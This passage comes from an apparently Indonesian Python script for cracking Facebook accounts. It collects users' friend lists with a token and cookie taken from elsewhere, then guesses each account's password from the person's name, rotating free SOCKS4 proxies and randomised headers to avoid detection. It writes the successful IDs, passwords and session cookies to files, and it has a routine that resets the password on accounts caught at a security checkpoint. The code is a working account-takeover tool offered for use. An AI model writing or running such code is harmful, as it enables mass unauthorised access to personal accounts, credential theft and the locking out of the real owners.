  442.                     )
  443.                     but2=[
  444.                     "submit[Next]",
  445.                 "nh",
  446.             "fb_dtsg",
  447.                   "jazoest"
  448.                   ]
  449.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  450.                         for b in resUbah(
  451.                         "input"
  452.                         ):
  453.                             dat2.update(
  454.                             {b.get("name"):b.get("value")}
  455.                         )
  456.                         dat2.update(
  457.                         {
  458.                     "password_new":"".join(pwbaru)}
  459.                     )
  460.                         an=session.post(url+link3.get(
  461.                         "action"
  462.                     ),data=dat2)
  463.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  464.                         print(f"\r%s\x1b[1;92m Âŧ\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(hijo,puti,hijo,user,pwbaru[0],coki))
  465.                         open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s|%s\n" % (hijo,user,pwbaru[0],coki))
  466.                         #cek_apk(coki)
  467.                 else:
  468.                     print(f"\r%s\x1b[1;92m Âŧ \033[0makun one tab, silahkan anda login      "%(hijo))
  469.                     open('MBF-OK/MBF-OK.txt', 'a').write("%s %s|%s|%s\n" % (hijo,user,pw,coki))
  470.                     #cek_apk(coki)
  471.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  472.                 print(f"\r%s Âŧ \033[0m akun terpasang autentikasi dua faktor           "%(mer))
  473.             else:
  474.                 print(f"%s\x1b[1;92m Âŧ\033[0mterjadi kesalahan"%(mer))
  475.         else:
  476.             if "c_user" in session.cookies.get_dict():
  477.                 print(f"\r%s%s akun tidak checkpoint, silahkan anda login "%(hijo))
  478.                 open('MBF-OK/MBF-OK.txt', 'a').write("%s%s|%s\n" % (hijo,user,pw))
  479.         for opsi in range(len(cek)):
  480.             number +=1
  481.             print(f"  %s%s. %s%s"%(puti,str(number),kun,cek[opsi]))
  482.     elif "login_error" in str(response):
  483.         oh = run.find(
  484.         "div",
  485.     {"id":"login_error"}).find("div").text
  486.         print(f"%s Âŧ %s"%(mer,oh))
  487.     else:
  488.         print(f"%s Âŧ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(mer))       
  489.  
  490. #----------[ CRACK-FILE ]----------#
  491. def krek_file():
  492.     try:vin = os.listdir('/sdcard/MBF-DUMP/')
  493.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  494.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File Dump, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  495.     else:
  496.         cih = 0
  497.         lol = {}
  498.         for isi in vin:
  499.             try:hem = open('/sdcard/MBF-DUMP/'+isi,'r').readlines()
  500.             except:continue
  501.             cih+=1
  502.             if cih<9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999:nom = ''+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"#AAAAAA"))
  503.             else:lol.update({str(cih):str(isi)});print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x);prints(Panel.fit(f"{P2}[{M2}0%s{P2}] %s {K2}({H2}%s idz{K2})"%(nom,isi,len(hem)),style=f"#AAAAAA"))
  504.         hooh = input(f"[â€Ē] PILIH : ")
  505.         try:cuk = lol[hooh]
  506.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  507.         try:lin = open('/sdcard/MBF-DUMP/'+cuk,'r').read().splitlines()
  508.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  509.         for idz in lin:
  510.             id.append(idz)
  511.         atur_id()
  512.  
  513. #----------[ DUMP-FILE ]----------#    
  514. def dump_file():
  515.     try:
  516.         os.mkdir('/sdcard/MBF-DUMP')
  517.     except:
  518.          pass
  519.     try:
  520.         xyc = input(f"\n[â€Ē] MASUKAN ID : ")
  521.         xyd = input(f"[â€Ē] NAMA FILE DUMP : ")
  522.         xxr  = ('/sdcard/MBF-DUMP/' + xyd + '.txt').replace(' ', '_')
  523.         xxx = open(xxr, 'w')
  524.         token = open('.cyxieontoken.txt','r').read()
  525.         cok = open('.cyxieoncokies.txt','r').read()
  526.         coki = {"cookie":cok}
  527.         xnx = requests.get('https://graph.facebook.com/%s?fields=friends.limit(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)&access_token=%s'%(xyc,token),cookies=coki).json()
  528.         for xxn in xnx['friends']['data']:id.append(xxn['id']+'|'+xxn['name']);xxx.write(xxn['id']+'|'+xxn['name']+ '\n');print('\r[â€Ē] ID : %s '%(len(id)),end='');time.sleep(0.0050)
  529.         print(f"\n[â€Ē] Berhasil Dump Id Dari Publik")
  530.         print(f"[â€Ē] Salin Output File ( %s )"%(xxr))
  531.         exit()
  532.     except (KeyError,IOError):
  533.         os.remove(xxr)
  534.         prints(Panel.fit(f"%sGagal Dump Id Yang Anda Masukan Tidak Publik"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  535.        
  536. #----------[ HASIL-OK ]----------#            
  537. def hasil_ok():
  538.     try:vin = os.listdir('MBF-OK')
  539.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  540.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  541.     else:
  542.         print(f"{puti}╭────────────────────────────────────────────")
  543.         cih = 0
  544.         lol = {}
  545.         for isi in vin:
  546.             try:hem = open('MBF-OK/'+isi,'r').readlines()
  547.             except:continue
  548.             cih+=1
  549.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  550.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  551.         print(f"{puti}╭────────────────────────────────────────────")
  552.         geeh = input(f'{puti}└──[ Input file : ')
  553.         try:geh = lol[geeh]
  554.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  555.         try:lin = open('MBF-OK/'+geh,'r').read().splitlines()
  556.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  557.         nocp=0
  558.         for cpku in range(len(lin)):
  559.             cpkuni=lin[nocp].split('|')
  560.             tree = Tree("")
  561.             tree.add(f"{hijo}{cpkuni[0]}{puti}").add(f"{hijo}{cpkuni[1]}{puti}")
  562.             tree.add(f"{hijo}{cpkuni[2]}{puti}")
  563.             prints(tree)
  564.             nocp +=1
  565.         print(f"{puti}╭────────────────────────────────────────────")
  566.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  567.         menu()
  568.  
  569. #----------[ HASIL-CP]----------#            
  570. def hasil_cp():
  571.     try:vin = os.listdir('MBF-CP')
  572.     except FileNotFoundError:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  573.     if len(vin)==0:prints(Panel.fit(f"%sMaaf Kak Anda Tidak Mempunyai File OK, Silakan Crack Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  574.     else:
  575.         print(f"{puti}╭────────────────────────────────────────────")
  576.         cih = 0
  577.         lol = {}
  578.         for isi in vin:
  579.             try:hem = open('MBF-CP/'+isi,'r').readlines()
  580.             except:continue
  581.             cih+=1
  582.             if cih<100:nom = '0'+str(cih);lol.update({str(cih):str(isi)});lol.update({nom:str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  583.             else:lol.update({str(cih):str(isi)});print(f'{puti}└──[ %s. %s ( %s Idz )'%(nom,isi,len(hem)))
  584.         print(f"{puti}╭────────────────────────────────────────────")
  585.         geeh = input(f'{puti}└──[ Input file : ')
  586.         try:geh = lol[geeh]
  587.         except KeyError:prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"));time.sleep(3);menu()
  588.         try:lin = open('MBF-CP/'+geh,'r').read().splitlines()
  589.         except:prints(Panel.fit(f"%sMaaf Kak File Tidak Di Temukan, Silakan Dump Terlebih Dahulu"%(M2),style=f"#AAAAAA"));time.sleep(3);menu()
  590.         nocp=0
  591.         for cpku in range(len(lin)):
  592.             cpkuni=lin[nocp].split('|')
  593.             tree = Tree("")
  594.             tree.add(f"{kun}{cpkuni[0]}{puti}").add(f"{kun}{cpkuni[1]}{puti}")
  595.             prints(tree)
  596.             nocp +=1
  597.         print(f"{puti}╭────────────────────────────────────────────")
  598.         input(f'{puti}└──[{mer} Klik Enter {puti}]')
  599.         menu()
  600.        
  601. #----------[ MENU-IDZ ]----------#     
  602. def atur_id():
  603.      rr = random.randint
  604.      for khusus_random in id:
  605.             cyxieon_id = rr(0,len(id2))
  606.             id2.insert(cyxieon_id, khusus_random)
  607.      atur_method()
  608.  
  609. #----------[ MENU-METHOD ]----------#                  
  610. def atur_method():
  611.      prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"#AAAAAA"))
  612.      xx = input(f"[â€Ē] METHOD : ")
  613.      if xx in ['1','01']:method.append('MBF01')
  614.      elif xx in ['2','02']:method.append('MBF02')
  615.      elif xx in ['3','03']:method.append('MBF03')    
  616.      elif xx in ['4','04']:method.append('MBF04')
  617.      elif xx in ['5','05']:method.append('MBF05')
  618.      elif xx in ['6','06']:method.append('MBF06')                        
  619.      else:
  620.           method.append('MBF01')
  621.      user_agent()
  622.  
  623. #----------[ USER-AGENT ]----------#              
  624. def user_agent():
  625.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  626.     uatambah = input(f'[â€Ē] PILIH : ')
  627.     if uatambah in ['y','Ya','ya','Y']:
  628.          uadia.append('ya')
  629.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  630.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  631.          uamu.append(mantap)
  632.     else:
  633.         uadia.append('no')
  634.     password()
  635.  
  636. #----------[ PASSWORD]----------#                  
  637. def password():
  638.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  639.     passwtamb = input(f'[â€Ē] PILIH : ')
  640.     if passwtamb in ['y','Y']:
  641.         sandine.append('ya')
  642.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  643.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  644.         sandimu = sandiku.split(',')
  645.         for sandixnxx in sandimu:
  646.              sandina.append(sandixnxx)       
  647.     else:
  648.         sandine.append('no')
  649.     otomatis()
  650.    
  651. #----------[ WORDLIST ]----------#              
  652. def otomatis():
  653.     global prog,des
  654.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  655.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  656.     des = prog.add_task('',total=len(id2))
  657.     with prog:
  658.         with tred(max_workers=30) as pool:
  659.             for akun in id2:
  660.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  661.                 depan = nama.split(" ")[0]
  662.                 pwx = []
  663.                 if len(nama)<=5:
  664.                     if len(depan)<=1 or len(depan)<=2:
  665.                         pass
  666.                     else:
  667.                         pwx.append(depan+"123")
  668.                         pwx.append(depan+"1234")
  669.                         pwx.append(depan+"12345")
  670.                         pwx.append(depan+"321")
  671.                 else:
  672.                     if len(depan)<=1 or len(depan)<=2:
  673.                         try:
  674.                             tengah = nama.split(" ")[1]
  675.                             if len(tengah)<=3:
  676.                                 pass
  677.                             else:
  678.                                 pwx.append(tengah+"123")
  679.                                 pwx.append(tengah+"1234")
  680.                                 pwx.append(tengah+"12345")
  681.                                 pwx.append(depan+"321")
  682.                                 pwx.append(nama)
  683.                         except:
  684.                             try:
  685.                                 belakang = nama.split(' ')[2]
  686.                                 if len(belakang)<=3:pass
  687.                                 else:
  688.                                     pwx.append(belakang+"123")
  689.                                     pwx.append(belakang+"1234")
  690.                                     pwx.append(belakang+"12345")
  691.                                     pwx.append(depan+"321")
  692.                                     pwx.append(nama)
  693.                             except:
  694.                                  pwx.append(nama)
  695.                     else:
  696.                         pwx.append(nama)
  697.                         pwx.append(depan+"123")
  698.                         pwx.append(depan+"1234")
  699.                         pwx.append(depan+"12345")
  700.                         pwx.append(depan+"321")
  701.                 if 'MBF01' in method:
  702.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  703.                 elif 'MBF02' in method:
  704.                     pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
  705.                 elif 'MBF03' in method:
  706.                     pool.submit(cracking03,idf,pwx,'m.facebook.com')
  707.                 elif 'MBF04' in method:
  708.                     pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
  709.                 elif 'MBF05' in method:
  710.                     pool.submit(cracking05,idf,pwx,'touch.facebook.com')
  711.                 elif 'MBF06' in method:
  712.                     pool.submit(cracking06,idf,pwx,'m.facebook.com')
  713.                 else:
  714.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  715.                    
  716.     tree = Tree(Panel.fit(f"\r%sCrack Telah Selesai Dengan Jumlah%s OK : {ok} %sDan Jumlah%s CP:{cp}%s"%(P2,H2,P2,K2,P2),style=f"#AAAAAA"))
  717.     tree.add(Panel.fit(f"\r%sApakah Ingin Lanjut Crack Kembali (y/t)"%(P2),style=f"#AAAAAA"))
  718.     prints(tree)
  719.     gas = input(f"[â€Ē] PILIH : ")
  720.     if gas in ['y','Y','ya','Ya']:
  721.         menu()
  722.     else:
  723.         tree = Tree("")
  724.         tree.add(Panel.fit(f"\r%sGood Byee Jangan Lupa Bersyukur Dengan Hasilnya"%(K2),style=f"#AAAAAA"))
  725.         prints(tree)
  726.         time.sleep(2)
  727.         exit()
  728.  
  729. #----------[ MOBILE VALIDATE ]----------#                              
  730. def cracking01(idf,pwx,url):
  731.     global loop,ok,cp
  732.     ses = requests.Session()
  733.     rr = random.randint
  734.     rc = random.choice
  735.     emot = rc(["😝","😜","ðŸĪŠ"])
  736.     prog.update(des,description=f"\r {emot} MBF 01 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  737.     prog.advance(des)
  738.     for pw in pwx:
  739.         try:
  740.             if 'ya' in uadia: ua = uamu[0]
  741.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  742.             open('socksku.txt','w').write(proxs)
  743.             nip = rc(proxs)
  744.             proxs = {'http': 'socks4://'+nip}
  745.             ua = rc(ugen)
  746.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  747.             link = ses.get(f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  748.             date = {
  749.         "lsd":
  750.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  751.         "jazoest":
  752.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  753.                "uid":idf,
  754.                "next":f"https://{url}/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified",
  755.                "flow":"login_no_pin",
  756.                "pass":pw,
  757.             }
  758.             koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
  759.             koki+=' m_pixel_ratio=2.625; wd=412x756'       
  760.             head = (
  761.             {
  762.             'Host': url,
  763.             'cache-control': 'max-age=0',
  764.             'dpr': f'{str(rr(1,5))}',
  765.             'viewport-width': f'{str(rr(400,999))}',
  766.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  767.             'sec-ch-ua-mobile': '?1',
  768.             'sec-ch-ua-platform': '"Android"',
  769.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  770.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  771.             'sec-ch-prefers-color-scheme': 'light',
  772.             'upgrade-insecure-requests': '1',
  773.             'origin': 'https://'+url,
  774.             'content-type': 'application/x-www-form-urlencoded',
  775.             'user-agent': ua,
  776.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  777.             'x-requested-with': 'com.facebook.katana',
  778.             'sec-fetch-site': 'same-origin',
  779.             'sec-fetch-mode': 'cors',
  780.             'sec-fetch-user': '?1',
  781.             'sec-fetch-dest': 'empty',
  782.             'referer': f'https://{url}/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2F{url}%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  783.             'accept-encoding': 'gzip, deflate, br',
  784.             'accept-language': 'id-ID,id;q=0.9'
  785.             }
  786.         )
  787.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, cookies={'cookie': koki}, allow_redirects=False,proxies=proxs)
  788.             if "c_user" in ses.cookies.get_dict().keys():
  789.                 ok+=1
  790.                 coki=po.cookies.get_dict()
  791.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  792.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  793.                 tree = Tree(Panel.fit(f"%sLOGIN SUCKSES"%(P2),style=f"#AAAAAA"))
  794.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(H2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(H2),style=f"#AAAAAA"))
  795.                 tree.add(Panel.fit(f"%s{kuki}"%(H2),style=f"#AAAAAA"))
  796.                 tree.add(Panel.fit(f"%s{ua}"%(H2),style=f"#AAAAAA"))
  797.                 prints(tree)
  798.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+kuki+'\n')
  799.                 break          
  800.             elif "checkpoint" in po.cookies.get_dict().keys():
  801.                 tree = Tree(Panel.fit(f"%sLOGIN CHECKPOINT"%(K2),style=f"#AAAAAA"))
  802.                 tree.add(Panel.fit(f"%s{idf} | {pw}"%(K2),style=f"#AAAAAA")).add(Panel.fit(f"%s{tahun(idf)}"%(K2),style=f"#AAAAAA"))
  803.                 tree.add(Panel.fit(f"%s{ua}"%(K2),style=f"#AAAAAA"))
  804.                 prints(tree)
  805.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  806.                 akune.append(idf+'|'+pw)
  807.                 ceker(idf,pw)
  808.                 cp+=1
  809.                 break  
  810.                
  811.             else:
  812.                 continue
  813.         except requests.exceptions.ConnectionError:
  814.             time.sleep(31)
  815.     loop+=1
  816.    
  817. #----------[ MBASIC VALIDATE ]----------#                              
  818. def cracking02(idf,pwx,url):
  819.     global loop,ok,cp
  820.     ses = requests.Session()
  821.     rr = random.randint
  822.     rc = random.choice
  823.     emot = rc(["😝","😜","ðŸĪŠ"])
  824.     prog.update(des,description=f"\r {emot} MBF 02 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  825.     prog.advance(des)
  826.     for pw in pwx:
  827.         try:
  828.             if 'ya' in uadia: ua = uamu[0]
  829.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  830.             open('socksku.txt','w').write(proxs)
  831.             nip = rc(proxs)
  832.             proxs = {'http': 'socks4://'+nip}
  833.             ua = rc(ugen)
  834.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  835.             link = ses.get(f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  836.             date = {
  837.         "lsd":
  838.             re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  839.         "jazoest":
  840.                re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),
  841.                "uid":idf,
  842.                "next":f"https://{url}/v8.0/dialog/oauth?client_id=607187076044599&display=popup&redirect_uri=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&response_type=code&scope=email&state=90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266&ret=login&fbapp_pres=0&logger_id=6321ea45-1edf-459d-b7ba-f3006d4e5264&tp=unspecified",
  843.                "flow":"login_no_pin",
  844.                "pass":pw,
  845.             }
  846.             koki = (";").join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items() ])
  847.             koki+=' m_pixel_ratio=2.625; wd=412x756'       
  848.             head = (
  849.             {
  850.             'Host': url,
  851.             'cache-control': 'max-age=0',
  852.             'dpr': f'{str(rr(1,5))}',
  853.             'viewport-width': f'{str(rr(400,999))}',
  854.             'sec-ch-ua': f'"Not?A_Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(108,114))}", "Google Chrome";v="{str(rr(108,114))}"',
  855.             'sec-ch-ua-mobile': '?1',
  856.             'sec-ch-ua-platform': '"Android"',
  857.             'sec-ch-ua-platform-version': f'"{str(rr(5,14))}.0.0"',
  858.             'sec-ch-ua-full-version-list':f'"Chromium";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Google Chrome";v="{str(rr(99,115))}.0.{str(rr(5000,5999))}.{str(rr(40,99))}", "Not:A-Brand";v="{str(rr(8,20))}.0.0.0"',
  859.             'sec-ch-prefers-color-scheme': 'light',
  860.             'upgrade-insecure-requests': '1',
  861.             'origin': 'https://'+url,
  862.             'content-type': 'application/x-www-form-urlencoded',
  863.             'user-agent': ua,
  864.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  865.             'x-requested-with': 'com.facebook.katana',
  866.             'sec-fetch-site': 'same-origin',
  867.             'sec-fetch-mode': 'cors',
  868.             'sec-fetch-user': '?1',
  869.             'sec-fetch-dest': 'empty',
